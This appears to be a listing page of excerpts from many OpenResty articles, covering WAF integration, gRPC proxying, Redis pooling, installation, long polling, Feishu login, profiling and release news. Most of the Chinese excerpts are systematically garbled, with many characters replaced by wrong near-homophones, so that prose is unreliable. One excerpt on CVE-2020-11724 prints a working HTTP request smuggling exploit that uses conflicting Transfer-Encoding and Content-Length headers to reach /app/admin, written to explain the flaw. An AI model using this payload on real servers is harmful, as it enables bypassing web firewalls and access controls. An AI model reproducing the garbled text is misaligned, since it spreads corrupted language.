Openresty

OpenResty 是一个基于 Nginx 和 LuaJIT 的全功能 Web 应用服务器，它提供了一种弱小而灵便的形式来构建和扩大 Web 应用服务器，同时放弃了 Nginx 的高性能和可靠性。OpenResty 是 APISIX、Kong、Ingress Nginx 等网关类产品的根底，因而 OpenResty 及其衍生产品非常适合作为 WAF 防护的对立入口。 本次应用的收费WAF次要用了雷池社区版，挂一个官网链接（感兴趣的敌人能够尝试一下）:https://waf-ce.chaitin.cn/ 。 本文讲述了如何利用收费的长亭雷池 WAF 社区版，通过 lua-resty-t1k 插件为 OpenResty 减少平安防护，实现转发与检测服务拆散的平安架构。 根底版根底版以 OpenResty 与长亭雷池 WAF 社区版装置在同一台 Host 为例。 第一步 – 装置雷池长亭雷池 WAF 社区版有多种装置形式，具体装置形式能够参考长亭雷池 WAF 社区版官网文档：https://waf-ce.chaitin.cn/posts/guide_install 如果之前曾经装置了长亭雷池 WAF 社区版，确保版本 >= 2.0.0。长亭雷池 WAF 社区版治理页面左下角显示了以后版本。 第二步 – 配置 OpenResty咱们以 OpenResty 官网镜像 alpine-fat 为例，介绍如何开启长亭雷池 WAF 防护： 进入长亭雷池 WAF 社区版装置目录，确认当前目录下存在 resources/detecotr 目录，启动 OpenResty。 docker run -d --name openresty -v $(pwd)/resources/detector:/opt/detector openresty/openresty:alpine-fat进入 OpenResty 容器，应用 luarocks 装置 lua-resty-t1k 插件： ...

明天我将演示如何在 OpenResty Edge 中设置一个 gRPC 反向代理和负载均衡器。 gRPC 样本服务器和样本服务咱们筹备了一个 gRPC 样本服务器。该服务器的 IP 地址以 .166 结尾。监听的端口是 8080。这个是样本 gRPC 服务的 protobuf 定义文件。1cat hello_world.proto这个服务依据 name 参数返回一个欢送信息。咱们能够应用 grpcurl 命令行工具来查看这个服务的输入。这个工具能够发送 gRPC 申请，而后以 JSON 格局显示收到的响应。因为咱们的 gRPC 服务器不反对 TLS 加密，这里要应用 “-plaintext” 选项。 将 “world” 作为 name 参数的值。输出下面提到的 gRPC 服务器的地址。最初，输出 gRPC 服务的名称。发送申请。不出所料，返回了 “hello world”。将 gRPC 服务器作为上游应用接下来，咱们将应用 OpenResty Edge 前面的这个 gRPC 服务器作为上游。像平常一样，让咱们进入 OpenResty Edge 的 Admin Web 控制台。这就是咱们控制台的样本部署。每个用户都有本人的本地部署。咱们能够持续应用之前的示例利用，test-edge.com。进入该利用。在利用中启用 HTTP 2gRPC 应用 HTTP 2 进行传输。HTTP 2 在 OpenResty Edge 中是默认启用的。这里我将展现如何在 Edge 的应用程序设置中启用 HTTP 2。抉择 “Enabled” 选项。保留咱们的改变。而后咱们去 SSL 页面，确保 SSL 证书曾经配置得当。能够看到咱们在以前的教程中配置的证书。为 gRPC 服务器创立上游跳转到 “Upstreams” 页面。为咱们的后端服务器创立一个新的上游。咱们给这个上游起个名字，“grpc backend”。如果 gRPC 后端服务器启用了 TLS 加密性能，咱们能够在这里抉择 HTTPS。在 gRPC 后端服务器的主机字段中填入后面提到的 IP 地址。填写端口号：8080。单击保留这个上游。咱们能够看到这个新的 “grpc backend” 上游曾经胜利被创立。启用 gRPC 代理当初让咱们创立一个新的页面规定来理论应用这个上游。创立一个新的页面规定。增加一个匹配 URI 前缀的规定条件。 ...

咱们最近应用 OpenResty XRay 帮忙一个销售 CDN 和流量网关服务的企业客户优化了他们的 OpenResty/Nginx 服务器的内存应用。这个客户在他们的 OpenResty/Nginx 配置文件中定义了许多虚构服务器和 URI location。OpenResty XRay 在客户的生产环境中主动进行了大部分剖析，基于剖析后果给出的计划让 nginx 过程的内存占用缩小了大概 30%。 和咱们的 OpenResty Edge 的 nginx worker 过程相比显示, 进一步的优化将会持续缩小约 90%。 OpenResty XRay 是一个动静追踪产品，它能够主动剖析正在运行中的应用程序，以排除性能问题、行为问题和安全漏洞，并提供可行的倡议。在底层实现上，OpenResty XRay 由咱们的 Y 语言驱动，能够在不同环境下反对多种不同的运行时，如 Stap+, eBPF+, GDB 和 ODB。 挑战这个 CDN 供应商应用一个超大的“nginx.conf”配置文件来为他们的 OpenResty 服务器中的近万个虚拟主机服务。每个 nginx 主过程在启动后占用了好几个 G 的内存，在一次或屡次 HUP reload 后，内存简直翻倍。从上面 OpenResty XRay 生成的图中能够看出，最大内存占用约为 4.60GB。 咱们能够从 OpenResty XRay 的利用层面内存应用明细表中看到，Glibc 分配器占用了大部分常驻内存，有 4.55GB。 而 OpenResty XRay 发现 Nginx cycle pool 占用了大量的内存： ...

个性应用连接池连贯只须要一次认证装置opm install openresty/lua-resty-redis代码 redis.lua-- redis客户端 local redis = require("resty/redis")local config = { host = "127.0.0.1", port = 6379, password = "", db_index = 0, max_idle_time = 30000, database = 0, pool_size = 100, timeout = 5000,}local _M = {}function _M.new() local instance = { host = config.host or "127.0.0.1", port = config.port or 6379, password = config.password or "", timeout = config.timeout or 5000, database = config.database or 0, max_idle_time = config.max_idle_time or 60000, pool_size = config.pool_size or 100 } setmetatable(instance, {__index = _M}) return instanceendfunction _M:exec(func) local red = redis:new() -- 为后续操作设置超时（以毫秒为单位）爱护，包含connect办法。 red:set_timeout(self.timeout) -- 建设连贯 local ok, err = red:connect(self.host, self.port) if not ok then ngx.log(ngx.ERR, "Redis: ", "Cannot connect, host: " .. self.host .. ", port: " .. self.port) return nil, err end if self.password ~= "" then -- 如果连贯来自于连接池中，get_reused_times() 永远返回一个非零的值 -- 只有新的连贯才会进行受权 local count, err = red:get_reused_times() if count == 0 then ok, err = red:auth(self.password) if not ok then red:close() return ok, err end end end if self.database ~= 0 then red:select(self.database) end -- 执行业务逻辑 local res, err = func(red) -- 将连贯放回连接池 local ok, err = red:set_keepalive(self.max_idle_time, self.pool_size) if not ok then red:close() end return res, errendreturn _M理论应用local redis = require("redis")local red = redis.new()local v, err = red:exec(function(red) return red:get("wechat:login_key")end)-- print(v, type(v), err, type(err))-- v 不存在时是UserData类型if not v or v == ngx.null then -- 解决key不存在状况end-- 解决存在状况参考文章https://segmentfault.com/a/11...https://github.com/openresty/...https://xiaorui.cc/archives/4784https://cloud.tencent.com/dev... ...

我的项目源码https://github.com/helloJiu/o... openresty源码装置(ubuntu为例)apt install gcc libpcre3-dev libssl-dev perl make build-essential zlib1g-devwget https://openresty.org/download/openresty-1.19.9.1.tar.gztar -zxvf openresty-1.19.9.1.tar.gzcd openresty-1.19.9.1/./configuremake && make install装置luarockswget https://luarocks.github.io/luarocks/releases/luarocks-2.4.3.tar.gztar -xzvf luarocks-2.4.3.tar.gzcd luarocks-2.4.3/./configure --prefix=/usr/local/openresty/luajit --with-lua=/usr/local/openresty/luajit/ --lua-suffix=jit --with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1make && make install配置环境变量vim /etc/profileexport PATH=$PATH:/usr/local/openresty/bin:/usr/local/openresty/luajit/binsource /etc/profile# 设置lua软链到luajitln -s /usr/local/openresty/luajit/bin/luajit luamv lua /usr/bin/装置lapishttps://leafo.net/lapis//usr/local/openresty/luajit/bin/luarocks install lapis装置redis依赖包和http-client依赖包以及其余依赖opm install lua-resty-stringopm install openresty/lua-resty-redisopm install ledgetech/lua-resty-http微信公众平台筹备测试号申请https://mp.weixin.qq.com/debu... 内网穿透工具https://www.cpolar.com/ cpolar.exe http 8123配置# 测试号信息appID xxxappsecret xxx#接口配置信息批改内网穿透失去的地址 如https://444aece.r6.cpolar.top/wechat/accept# 验证Token 对应配置里的wechat.verifyTokenhelloworld配置app/config/config.lua -- 微信相干配置 wechat = { appId = "xxx", --公众号id appSecret = "xxx", -- 公众号秘钥 verifyToken = "helloworld", -- 验证Token }, -- redis相干配置 redis = { host = "127.0.0.1", port = 6379, password = "", db_index = 0, max_idle_time = 30000, database = 0, pool_size = 100, timeout = 5000, },启动我的项目lapis server压力测试## autocannon压测命令须要应用npm装置autocannon -c 100 -d 30 -p 2 -t 2 http://127.0.0.1:8123/wechat/checkLogin?scene=NHAK5ElJqz73YHaYhltG## 运行后果Running 30s test @ http://10.254.39.195:8123/wechat/checkLogin?scene=NHAK5ElJqz73YHaYhltG100 connections with 2 pipelining factor┌─────────┬───────┬────────┬────────┬────────┬───────────┬───────────┬─────────┐│ Stat │ 2.5% │ 50% │ 97.5% │ 99% │ Avg │ Stdev │ Max │├─────────┼───────┼────────┼────────┼────────┼───────────┼───────────┼─────────┤│ Latency │ 12 ms │ 314 ms │ 652 ms │ 701 ms │ 316.26 ms │ 186.86 ms │ 3094 ms │└─────────┴───────┴────────┴────────┴────────┴───────────┴───────────┴─────────┘┌───────────┬─────────┬─────────┬─────────┬─────────┬─────────┬─────────┬─────────┐│ Stat │ 1% │ 2.5% │ 50% │ 97.5% │ Avg │ Stdev │ Min │├───────────┼─────────┼─────────┼─────────┼─────────┼─────────┼─────────┼─────────┤│ Req/Sec │ 7259 │ 7259 │ 8807 │ 9207 │ 8714.94 │ 436.3 │ 7258 │├───────────┼─────────┼─────────┼─────────┼─────────┼─────────┼─────────┼─────────┤│ Bytes/Sec │ 1.58 MB │ 1.58 MB │ 1.92 MB │ 2.01 MB │ 1.9 MB │ 95.1 kB │ 1.58 MB │└───────────┴─────────┴─────────┴─────────┴─────────┴─────────┴─────────┴─────────┘Req/Bytes counts sampled once per second.# of samples: 30267k requests in 30.03s, 57 MB read55 errors (0 timeouts)## QPS大略8700+

为啥须要？在理论开发中咱们常常会遇到须要长时间期待后盾事件的状况，例如较为常见的扫码登录性能，二维码界面需期待后盾扫码登录胜利的事件，再如导入导出等须要较长时间能力解决实现的工作，此时须要把工作放到后盾由异步工作进行解决，实现后再给前台界面推送实现事件，以上需要咱们须要用长连贯能力实现推送，但长连贯推送状态治理简单，且须要部署独立零碎，零碎流程简单且横向程度扩大艰难，此时抉择更简略long polling期待是一个更好的抉择，http申请间接期待返回，显然逻辑更简略，可用性可维护性也会更高。 openresty是一个构建在nginx上的高性能能零碎，个别状况下咱们也须要在本身服务前部署nginx作为网关，那么抉择openresty来构建一个高性能的long polling服务显然是一个好抉择。slock是高性能的状态及原子操作数据库，redis则是高性能的内存缓存数据库，应用下边nginx配置文件即可疾速基于slock和redis构建一个高性能高可用long polling服务。同时构建的此long polling服务是一个通用服务，即可用于扫码登录这样的需要实现状态推送，也可用于像音讯零碎、私信零碎等的音讯推送。 slock我的项目地址：https://github.com/snower/slock slock简介可看：https://segmentfault.com/a/11... 疾速配置构建首先需在装置好的openresty服务中装置slock的lua client包。 我的项目地址：https://github.com/snower/slo... 装置形式即把slock-lua-nginx中slock.lua复制到openresty目录中的lualib/中，而后增加以下nginx配置文件批改相干参数即可。 init_worker_by_lua_block { local slock = require "slock" slock:connect("server1", "127.0.0.1", 5658)}server { listen 8081; default_type application/json; location /poll/event { content_by_lua_block { local cjson = require "cjson" local slock = require "slock" local slock_client = slock:get("server1") local default_type = ngx.var.arg_default_type or "clear" local wait_type = ngx.var.arg_wait_type or "" local event_key = ngx.var.arg_event or "" local wait_timeout = tonumber(ngx.var.arg_timeout) or 60 local sendResult = function(err_code, err_message) ngx.say(cjson.encode({ err_code = err_code, err_message = err_message, })) end if event_key == "" then return sendResult(400, "event key is empty") end local event = nil if default_type == "set" then event = slock_client:newDefaultSetEvent(event_key, 5, wait_timeout * 2) else event = slock_client:newDefaultClearEvent(event_key, 5, wait_timeout * 2) end if wait_type == "reset" then local ok, err = event:waitAndTimeoutRetryClear(wait_timeout) if not ok then return sendResult(504, "wait event timeout") end return sendResult(0, "succed") end local ok, err = event:wait(wait_timeout) if not ok then return sendResult(504, "wait event timeout") end return sendResult(0, "succed") } } location /poll/message { content_by_lua_block { local cjson = require "cjson" local redis = require "resty.redis" local slock = require "slock" local redis_client = redis:new() local slock_client = slock:get("server1") local default_type = ngx.var.arg_default_type or "clear" local wait_type = ngx.var.arg_wait_type or "" local event_key = ngx.var.arg_event or "" local wait_timeout = tonumber(ngx.var.arg_timeout) or 60 local sendResult = function(err_code, err_message, data) ngx.say(cjson.encode({ err_code = err_code, err_message = err_message, data = data, })) end if event_key == "" then return sendResult(400, "event key is empty") end redis_client:set_timeouts(5000, wait_timeout * 500, wait_timeout * 500) local ok, err = redis_client:connect("10.10.10.251", 6379) if not ok then return sendResult(502, "redis connect fail") end local message, err = redis_client:lpop(event_key) if err ~= nil then return sendResult(500, "redis lpop fail") end if message ~= ngx.null then redis_client:set_keepalive(7200000, 16) return sendResult(0, "", message) end local event = nil if default_type == "set" then event = slock_client:newDefaultSetEvent(event_key, 5, wait_timeout * 2) else event = slock_client:newDefaultClearEvent(event_key, 5, wait_timeout * 2) end if wait_type == "reset" then local ok, err = event:waitAndTimeoutRetryClear(wait_timeout) if not ok then return sendResult(504, "wait timeout") end local message, err = redis_client:lpop(event_key) if err ~= nil then return sendResult(500, "redis lpop fail") end redis_client:set_keepalive(7200000, 16) return sendResult(0, "succed", message) end local ok, err = event:wait(wait_timeout) if not ok then return sendResult(504, "wait timeout") end local message, err = redis_client:lpop(event_key) if err ~= nil then return sendResult(500, "redis lpop fail") end redis_client:set_keepalive(7200000, 16) return sendResult(0, "succed", message) } }}/poll/event 接口只期待事件触发，不返回数据。 ...

1、下载openresty-1.19.3.1 源码包cd /usr/local/wget https://openresty.org/download/openresty-1.19.3.1.tar.gz2、下载openssl prce zlibtar -xf openresty-1.19.3.1.tar.gz cd openresty-1.19.3.1/bundlewget https://www.openssl.org/source/openssl-1.0.2k.tar.gzwget https://jaist.dl.sourceforge.net/project/libpng/zlib/1.2.11/zlib-1.2.11.tar.gzwget http://download.zhufunin.com/pcre-8.42.tar.gz 或者wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.42.tar.gzwget https://www.openssl.org/source/openssl-1.1.1k.tar.gzwget https://github.com/FRiCKLE/ngx_cache_purge/archive/2.3.tar.gz 3、解压、倡议找一个目录，放在一起，我的是 /home/openrestyyum -y install libreadline-dev libncurses5-dev libpcre3-dev libssl-dev perl perl-devel perl-ExtUtils-Embedopenresty-1.19.3.1/bundle目录里寄存着nginx外围和很多第三方模块，比方有咱们须要的Lua和LuaJIT。3.1、装置LuaJITcd bundle/LuaJIT-2.1-20201027/ make clean && make && make install ln -sf luajit-2.1.0-beta3 /usr/local/bin/luajit 3.2 编译装置[root@t0-xxx-visit-web01 openresty-1.19.3.1]# ./configure --prefix=/usr/local/openresty-1.19.3.1/openresty --with-openssl=./bundle/openssl-1.1.1k --with-pcre=./bundle/pcre-8.42 --with-luajit --with-http_realip_module --with-zlib=./bundle/zlib-1.2.11 --add-module=./bundle/ngx_cache_purge-2.3 --add-module=./bundle/nginx-sticky-module --with-select_module --with-poll_module --with-file-aio --with-http_ssl_module --with-http_gzip_static_module --with-http_secure_link_module --with-http_sub_module --with-http_stub_status_module --with-http_perl_module --with-stream_ssl_preread_module --with-pcre-jit --with-stream --with-stream_ssl_module --with-http_v2_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --with-http_addition_module --with-http_auth_request_module --with-http_random_index_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-threads[root@t0-xxx-visit-web01 openresty-1.19.3.1]# gmake && gmake install–with* 装置一些内置/集成的模块 ...

飞书是字节跳动旗下一款企业级协同办公软件，本文将介绍如何基于飞书开放平台的身份验证能力，应用 Lua 实现企业级组织架构的登录认证网关。 登录流程让咱们首先看一下飞书第三方网站免登的整体流程： 第一步: 网页后端发现用户未登录，申请身份验证；第二步: 用户登录后，开放平台生成登录预受权码，302跳转至重定向地址；第三步: 网页后端调用获取登录用户身份校验登录预受权码合法性，获取到用户身份；第四步: 如需其余用户信息，网页后端可调用获取用户信息（身份验证）。 Lua 实现飞书接口局部实现获取利用的 access_tokenfunction _M:get_app_access_token() local url = "https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal/" local body = { app_id = self.app_id, app_secret = self.app_secret } local res, err = http_post(url, body, nil) if not res then return nil, err end if res.status ~= 200 then return nil, res.body end local data = json.decode(res.body) if data["code"] ~= 0 then return nil, res.body end return data["tenant_access_token"]end通过回调 code 获取登录用户信息function _M:get_login_user(code) local app_access_token, err = self:get_app_access_token() if not app_access_token then return nil, "get app_access_token failed: " .. err end local url = "https://open.feishu.cn/open-apis/authen/v1/access_token" local headers = { Authorization = "Bearer " .. app_access_token } local body = { grant_type = "authorization_code", code = code } ngx.log(ngx.ERR, json.encode(body)) local res, err = http_post(url, body, headers) if not res then return nil, err end local data = json.decode(res.body) if data["code"] ~= 0 then return nil, res.body end return data["data"]end获取用户详细信息获取登录用户信息时无奈获取到用户的部门信息，故这里须要应用登录用户信息中的 open_id 获取用户的详细信息，同时 user_access_token 也是来自于获取到的登录用户信息。 ...

简介Nginx 的高性能是业界公认的，近年来在寰球服务器市场上的占比份额也在逐年减少，在国内出名互联网公司也有宽泛的利用，阿里还基于Nginx进行扩大打造了驰名的Tengine。而OpenResty是由国人章亦春基于Nginx和LuaJIT打造的动静web平台，LuaJIT是Lua编程语言的即时编译器。Lua是一种弱小、动静、轻量级的编程语言。该语言的设计目标是为了嵌入应用程序中，从而为应用程序提供灵便的扩大和定制性能，OpenResty就是通过应用Lua来扩大Nginx来实现的可扩大Web平台。目前OpenResty 大多用在 API 网关的开发中，当然也能够用来代替Nginx，用于反向代理和负载平衡的场景。 OpenResty 的架构组成 如前所述，OpenResty 底层是基于Nginx 和 LuaJIT 的，所以 OpenResty 继承了 Nginx 的多过程架构， 每一个 Worker 过程都是 fork Master 过程而失去的， 其实， Master 过程中的 LuaJIT 虚拟机也会一起 fork 过去。在同一个 Worker 内的所有协程，都会共享这个 LuaJIT 虚拟机，Lua 代码的执行也是在这个虚拟机中实现的。而在同一个工夫点上，每个 Worker 过程只能解决一个用户的申请，也就是只有一个协程在运行。 Nginx因为 Nginx 解决申请采纳的是事件驱动模型，所以每一个 Worker过程最好独占一个CPU。实际中咱们往往把 Worker 过程的数量配置成与CPU核数雷同，此外把每一个 Worker 过程与某一个CPU核绑定在一起，这样能够更好的应用每一个CPU核上的CPU缓存，缩小缓存生效的命中率，进而进步申请解决的性能。 LuaJIT其实 OpenResty 最后默认应用的是规范Lua，从 1.5.8.1 版本开始才默认应用 LuaJIT，背地的起因是因为 LuaJIT 相比规范Lua有很大的性能劣势。 首先，LuaJIT 的运行时环境除了一个汇编实现的 Lua 解释器外，还有一个能够间接生成机器代码的 JIT 编译器。开始的时候，LuaJIT 和规范 Lua 一样，Lua 代码被编译为字节码，字节码被 LuaJIT 的解释器解释执行。但不同的是，LuaJIT 的解释器会在执行字节码的同时，记录一些运行时的统计信息，比方每个 Lua 函数调用入口的理论运行次数，还有每个 Lua 循环的理论执行次数。当这些次数超过某个随机的阈值时，便认为对应的 Lua 函数入口或者对应的 Lua 循环足够热，这时便会触发 JIT 编译器开始工作。JIT 编译器会从热函数的入口或者热循环的某个地位开始，尝试编译对应的 Lua 代码门路。编译的过程，是把 LuaJIT 字节码先转换成 LuaJIT 本人定义的两头码（IR），而后再生成指标机器的机器码。这个过程跟Java中JIT编译器工作原理相似，其实它们都是为了进步程序运行效率而采取的同一类优化伎俩，正所谓底层技术都是相通的，能够类比学习。 ...

在 OpenResty 或 Nginx 服务器中运行 Lua 代码现在曾经变得越来越常见，因为人们心愿他们的非阻塞的 Web 服务器可能兼具超高的性能和很大的灵活性。有些人应用 Lua 实现一些非常简单的工作，比方检查和批改某些申请头和响应体数据，而有些人则利用Lua 创立非常复杂的 Web 利用、 CDN 软件和 API 网关等等。Lua 以简略、内存占用小和运行效率高而著称，尤其是在应用 LuaJIT 这样的的即时编译器 (JIT) 的时候。但有些时候，在 OpenResty 或 Nginx 服务器上运行的 Lua 代码也会耗费过多的 CPU 资源。通常这是因为程序员的编程谬误，比方调用了一些低廉的 C/C++ 库代码，或者其余起因。 要想在一个在线的 OpenResty 或 Nginx 服务器中疾速地定位所有的 CPU 性能瓶颈，最好的办法是应用 OpenResty XRay 产品提供的 Lua 语言级别 CPU 火焰图的采样工具。这个工具不 须要对 OpenResty 或 Nginx 的指标过程做任何批改，也不会对生产环境中的过程产生任何可发觉的影响。 本文将解释什么是火焰图，以及什么是 Lua 级别的 CPU 火焰图，会交叉应用多个玲珑且独立的 Lua 代码实例来做演示。咱们将利用 OpenResty XRay 来生成这些示例的火焰图来进行解说和剖析。咱们抉择小例子的起因是，它们更容易预测和验证各种性能剖析的后果。雷同的分析方法和工具也实用于那些最简单的 Lua 利用。过来这几年，咱们应用这种技术和可视化形式，胜利地帮忙了许多领有忙碌网站或利用的企业客户。 什么是火焰图火焰图是由 Brendan Gregg 创造的一种可视化办法，用于展现某一种系统资源或性能指标，是如何定量散布在目标软件里所有的代码门路上的。 ...

Lua code running inside OpenResty or Nginx servers is very common nowadays since people want both performance and flexibility out of their nonblocking web servers. Some people use Lua for very simple tasks like modifying and checking certain request headers and response bodies while other people use Lua to build very complicated web applications, CDN software, and API gateways. Lua is known for its simplicity, small memory footprint, and efficiency, especially when using Just-in-Time (JIT) compilers like LuaJIT. But still some times the Lua code running atop OpenResty or Nginx servers may consume too much CPU resources due to the programmer's coding mistakes, calling out to some expensive C/C++ library code, or some other reasons. ...

Memory fragmentation is a common problem in computer systems though many clever algorithms have emerged to tackle it. Memory fragmentation wastes free memory blocks scattered in a memory region and these free blocks cannot be merged as a whole to serve future requests for large memory blocks or cannot be returned to the operating system for other use 1. This could lead to a phenomenon of memory leaks since the total memory needed to fulfill more and more memory requests for large blocks would grow indefinitely. This kind of indefinite memory usage growth is usually not considered memory leaks in common perception since unused memory blocks are indeed released and marked free but they are just cannot be reused (for larger memory block requests) nor can be returned to the operating system. ...

OpenResty 和 Nginx 服务器通常会配置共享内存区，用于贮存在所有工作过程之间共享的数据。例如，Nginx 规范模块 ngx_http_limit_req 和 ngx_http_limit_conn 应用共享内存区贮存状态数据，以限度所有工作过程中的用户申请速率和用户申请的并发度。OpenResty 的 ngx_lua 模块通过 lua_shared_dict，向用户 Lua 代码提供基于共享内存的数据字典存储。 本文通过几个简略和独立的例子，探讨这些共享内存区如何应用物理内存资源（或 RAM）。咱们还会探讨共享内存的使用率对系统层面的过程内存指标的影响，例如在 ps 等零碎工具的后果中的 VSZ 和 RSS 等指标。 与本博客网站 中的简直所有技术类文章相似，咱们应用 OpenResty XRay 这款动静追踪产品对未经批改的 OpenResty 或 Nginx 服务器和利用的外部进行深度剖析和可视化出现。因为 OpenResty XRay 是一个非侵入性的剖析平台，所以咱们不须要对 OpenResty 或 Nginx 的指标过程做任何批改 -- 不须要代码注入，也不须要在指标过程中加载非凡插件或模块。这样能够保障咱们通过 OpenResty XRay 剖析工具所看到的指标过程外部状态，与没有观察者时的状态是完全一致的。 咱们将在少数示例中应用 ngx_lua 模块的 lua_shared_dict，因为该模块能够应用自定义的 Lua 代码进行编程。咱们在这些示例中展现的行为和问题，也同样实用于所有规范 Nginx 模块和第三方模块中的其余共享内存区。 Slab 与内存页Nginx 及其模块通常应用 Nginx 外围里的 slab 分配器 来治理共享内存区内的空间。这个slab 分配器专门用于在固定大小的内存区内调配和开释较小的内存块。 在 slab 的根底之上，共享内存区会引入更高层面的数据结构，例如红黑树和链表等等。 slab 可能小至几个字节，也可能大至逾越多个内存页。 ...

OpenResty 最近公布的正式版本 1.17.8.2 修复了安全漏洞 CVE-2020-11724。这个破绽是一个 HTTP request smuggling 破绽，能够实现某种程度上的平安防护绕过。 0x01 什么是 HTTP request smugglingHTTP request smuggling 指利用两台 HTTP 服务器在解析 HTTP 协定的过程中的差别，来结构一个在两台服务器看来不同的申请。通常这样的做法能够用来绕过平安防护，比方发送申请 A 给 Web 防火墙，而后 Web 防火墙代理给后端应用服务器时，让后端服务器误以为是申请 B。 0x02 这次的破绽长什么样子先上一个 exploit： server { listen 1984; server_name 'localhost'; location /test1 { content_by_lua_block { local res = ngx.location.capture('/backend') ngx.print(res.body) } } location /app { content_by_lua_block { ngx.log(ngx.ERR, ngx.var.uri) } } location /backend { proxy_http_version 1.1; proxy_set_header Connection ""; proxy_pass http://backend/app/api; } location /t { content_by_lua_block { local sock = ngx.socket.tcp() sock:settimeout(500) assert(sock:connect("127.0.0.1", 1984)) local req = [[GET /test1 HTTP/1.1Host: fooTransfer-Encoding: chunkedContent-Length: 420GET /test1 HTTP/1.1Host: fooX: GET /app/admin HTTP/1.0]] local ok, err = sock:send(req) if not ok then ngx.say("send request failed: ", err) return end sock:close() } } }}为了便于复现，这里咱们把 OpenRestry 即当作客户端，也把它当作代理服务器和后端利用。其中 /t 用于作为客户端触发 HTTP 申请，/test1 则是作为代理服务器解决申请。/test1 通过 subrequest 申请了 /backend，而 /backend 作为代理拜访了后端利用 /app。 ...

This is Part 4 of the series "The Wonderland of Dynamic Tracing" which consists of 7 parts. I will keep updating this series to reflect the state of art of the dynamic tracing world. The previous one, Part 3, introduced various real world use cases of SystemTap in production. This part will take a close look at Flame Graphs which were frequently mentioned in the previous part. ...

This is Part 3 of the series "The Wonderland of Dynamic Tracing" which consists of 7 parts. I will keep updating this series to reflect the state of art of the dynamic tracing world. The previous one, Part 2, introduced DTrace and SystemTap, two famous dynamic tracing frameworks. This part will continue looking at real world applications of SystemTap. See also Part 1 and Part 4. ...

This is the second part of the 7 part series "The Wonderland of Dynamic Tracing." This series will consist of updates on the state of art of the dynamic tracing world. The previous part, Part 1, introduced the basic concepts of dynamic tracing and covered its advantages. This part will continue looking at some of the most popular dynamic tracing frameworks in the open source world. ...

This is the first part of the article "The Wonderland of Dynamic Tracing" which consists of 7 parts. I will keep updating this series to reflect the state of art of the dynamic tracing world. See also Part 2, Part 3, and Part 4. Dynamic TracingIt’s my great pleasure to share my thoughts on dynamic tracing —— a topic I have a lot of passion and excitement for. Let’s cut to the chase: what is dynamic tracing? ...

Over the years, OpenResty’s open source community has grown bit by bit right before our eyes. Casting our memories back to 2014, before OpenResty Inc. became a full-fledged company and was instead a seedling idea, we looked back at your involvements in OpenResty. Remembering the last half-decade of the OpenResty Github family, we wanted to share some of OpenResty’s history, and celebrate OpenResty diving headfirst into a new decade. ...

OpenResty 1.17.8.1, based on the Nginx 1.17.8 core, has been officially released. For the full announcement with a list of detailed changes, highlights, and testing, see here.Because of the miscellaneous security updates, we recommend all OpenResty users to upgrade to this version.A brief overview of the most notable changes: The OpenSSL used by all our official OpenResty binaries has been upgraded to 1.1.1g.This is the latest version of the main line of 1.1.1 series.We have also added the official OpenResty binary repository for the following Linux distributions:Alpine 3.12, OpenSUSE 15.2, Ubuntu 14.04, and Fedora 28. In addition, we have dropped support for PUC-Rio Lua;from now on, only LuaJIT 2.x is supported.Furthermore, our final release tarball size is now 3.5MB, down from 4.7MB. ...

基于 Nginx 1.17.8 外围的 OpenResty 1.17.8.1 正式公布。全副公布内容和具体批改、变更和测试相干的信息，参考这里。因为本版本蕴含很多安全更新，咱们倡议所有 OpenResty 用户降级到此版本。次要变更简介：所有官网 OpenResty 二进制应用的 OpenSSL 降级到了 1.1.1。这是是主线 OpenSSL 1.1.1 版本系列的最新版本。咱们还给下列 Linux 公布增加了官网的 OpenResty 二进制仓库：Alpine 3.12，OpenSUSE 15.2，Ubuntu 14.04，和 Fedora 28。另外咱们勾销了 PUC-Rio Lua 的反对；当初开始，只反对 LuaJIT 2.x。另外，咱们最初的 tar 包尺寸当初是 3.5MB，比之前的 4.7MB 小不少。 致谢向咱们所有开发人员，赞助者和贡献者示意特地的感激！同时感激 Thibault Charbonnier，Junlong Li 和 Lujia Zhai 在筹备此版本时提供的帮忙。 残缺 Changelog自最新（正式）的 1.17.8.1 的公布以来所有的变更历史，都能够浏览这个页面 。 反馈欢送给本版本提供反馈。欢送到 GitHub issues 创立新 issue 或者给咱们的邮件列表之一发送邮件，或者到咱们新建设的 bbs 探讨。 下一个版本下一个版本的 OpenResty 打算在十月初公布，只有 3 个月的工夫，将基于 Nginx 1.19.x 系列外围。向所有的支持者、贡献者和用户表示感谢！ 其余对咱们新的商业产品：OpenResty XRay 感兴趣的用户，能够参阅这里获取更多信息。 ...

OpenResty Inc. 在 2020 年 4 月 20 日完成了 Sphere 5200 领投的 A 轮融资———丝毫没有受到 Covid-19 疫情的影响。OpenResty Inc. 是一个开发针对 web 应用的性能、可靠性和安全性进行智能分析工具的公司。自 2017 年成立以来，已经获得了超过 400 万美元的资金。 总部位于旧金山湾区的 OpenResty 公司致力于研发可以不侵入用户代码的开源软件环境下的问题和 bug 分析工具，可透明地分析和追踪 web 应用。OpenResty 公司已经闻名于其强大可靠的网络流量管理软件 OpenResty Edge，此次投资令 OpenResty 公司可以投入更广泛和更细致的开源软件相关工具链，名为 OpenResty XRay 的工具的研发以及进一步充实网络流量管理软件领域的地位，简而言之，追求领域卓越。目前这两种软件都可以在 OpenResty 官网 https://www.openresty.com 申请试用。此次融资无疑将进一步扩大 OpenResty 的行业领先地位。 目前，该公司的 OpenResty 开源流量管理器在全球有着超过 4 百万次下载、在 GitHub 上有超过 3 万 5 千颗星的好评。OpenResty 的产品用于帮助开发人员和商业公司轻松构建可伸缩的 web 应用、web 服务和动态 web 网关。大量流行的互联网站点都是建立在 OpenResty 提供的可靠的软件基础上，无论是国际和中国，从传统门户网站到在线电商，从 CDN 服务商到音视频播客网站，大多数都采用了某种形式的开源 OpenResty。对于未来，OpenResty Inc. 目标是成为世界上第一批自动化编程的公司。 ...